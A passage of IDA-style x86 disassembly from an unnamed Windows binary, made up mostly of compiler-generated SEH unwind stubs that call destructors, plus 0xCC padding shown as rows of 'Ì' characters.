		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B6A4:				; DATA XREF: ___:00425BD2o
		mov	eax, offset dword_441928
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426450	proc near		; DATA XREF: sub_426450+2o
		mov	eax, offset dword_441A08
		jmp	sub_4367C8
SEH_426450	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B708:				; DATA XREF: ___:00441A64o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4264C0	proc near		; DATA XREF: sub_4264C0+2o
		mov	eax, offset dword_441A38
		jmp	sub_4367C8
SEH_4264C0	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B758:				; DATA XREF: ___:00441AB4o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426560	proc near		; DATA XREF: sub_426560+2o
		mov	eax, offset dword_441A88
		jmp	sub_4367C8
SEH_426560	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4266A0	proc near		; DATA XREF: sub_4266A0+2o
		mov	eax, offset dword_441AD8
		jmp	sub_4367C8
SEH_4266A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4269A0	proc near		; DATA XREF: sub_4269A0+2o
		mov	eax, offset dword_441B08
		jmp	sub_4367C8
SEH_4269A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426A60	proc near		; DATA XREF: sub_426A60+2o
		mov	eax, offset dword_441B38
		jmp	sub_4367C8
SEH_426A60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426EB0	proc near		; DATA XREF: sub_426EB0+2o
		mov	eax, offset dword_441B68
		jmp	sub_4367C8
SEH_426EB0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426F70	proc near		; DATA XREF: sub_426F70+2o
		mov	eax, offset dword_441B98
		jmp	sub_4367C8
SEH_426F70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427590	proc near		; DATA XREF: sub_427590+2o
		mov	eax, offset dword_441BC8
		jmp	sub_4367C8
SEH_427590	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427650	proc near		; DATA XREF: sub_427650+2o
		mov	eax, offset dword_441BF8
		jmp	sub_4367C8
SEH_427650	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427DC0	proc near		; DATA XREF: sub_427DC0+2o
		mov	eax, offset dword_441C28
		jmp	sub_4367C8
SEH_427DC0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B8A8:				; DATA XREF: ___:00441C84o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427E30	proc near		; DATA XREF: sub_427E30+2o
		mov	eax, offset dword_441C58
		jmp	sub_4367C8
SEH_427E30	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B908:				; DATA XREF: ___:00441CDCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427EF0	proc near		; DATA XREF: sub_427EF0+2o
		mov	eax, offset dword_441CB0
		jmp	sub_4367C8
SEH_427EF0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------


loc_43B968:				; DATA XREF: ___:00441D34o
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428160	proc near		; DATA XREF: sub_428160+2o
		mov	eax, offset dword_441D08
		jmp	sub_4367C8
SEH_428160	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014B0
; ---------------------------------------------------------------------------


loc_43B9AB:				; DATA XREF: ___:00441D74o
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BA92:				; DATA XREF: sub_4282C0+8o
		mov	eax, offset dword_441D48
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4299C0	proc near		; DATA XREF: sub_4299C0+2o
		mov	eax, offset dword_441E30
		jmp	sub_4367C8
SEH_4299C0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429AA0	proc near		; DATA XREF: sub_429AA0+2o
		mov	eax, offset dword_441E60
		jmp	sub_4367C8
SEH_429AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429D00	proc near		; DATA XREF: sub_429D00+2o
		mov	eax, offset dword_441E90
		jmp	sub_4367C8
SEH_429D00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42A090	proc near		; DATA XREF: sub_42A090+2o
		mov	eax, offset dword_441EC0
		jmp	sub_4367C8
SEH_42A090	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42A150	proc near		; DATA XREF: sub_42A150+8o
		mov	eax, offset dword_441EF0
		jmp	sub_4367C8
SEH_42A150	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AEC0	proc near		; DATA XREF: sub_42AEC0+5o
		mov	eax, offset dword_441F20
		jmp	sub_4367C8
SEH_42AEC0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43BB90:				; DATA XREF: ___:0042AFD5o
		mov	eax, offset dword_441F80
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BBA8:				; DATA XREF: ___:0044200Co
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B060	proc near		; DATA XREF: sub_42B060+2o
		mov	eax, offset dword_441FE0
		jmp	sub_4367C8
SEH_42B060	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B240	proc near		; DATA XREF: sub_42B240+2o
		mov	eax, offset dword_442020
		jmp	sub_4367C8
SEH_42B240	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------


loc_43BC08:				; DATA XREF: ___:0042B2E2o
		mov	eax, offset dword_442050
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B480	proc near		; DATA XREF: sub_42B480+2o
		mov	eax, offset dword_442080
		jmp	sub_4367C8
SEH_42B480	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4420B0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B880	proc near		; DATA XREF: sub_42B880+8o
		mov	eax, offset dword_4420E0
		jmp	sub_4367C8
SEH_42B880	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42BB70	proc near		; DATA XREF: sub_42BB70+2o
		mov	eax, offset dword_442110
		jmp	sub_4367C8
SEH_42BB70	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BD84:				; DATA XREF: ___:0042BE68o
		mov	eax, offset dword_442168
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4347B0	proc near		; DATA XREF: sub_4347B0+2o
		mov	eax, offset dword_442250
		jmp	sub_4367C8
SEH_4347B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BDEB:				; DATA XREF: ___:004422B4o
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BDF6:				; DATA XREF: ___:004348A8o
		mov	eax, offset dword_442288
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4351E0	proc near		; DATA XREF: sub_4351E0+2o
		mov	eax, offset dword_4422C0
		jmp	sub_4367C8
SEH_4351E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4355E0	proc near		; DATA XREF: sub_4355E0+2o
		mov	eax, offset dword_4422F0
		jmp	sub_4367C8
SEH_4355E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4356F0	proc near		; DATA XREF: sub_4356F0+8o
		mov	eax, offset dword_442328
		jmp	sub_4367C8
SEH_4356F0	endp

; ---------------------------------------------------------------------------
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
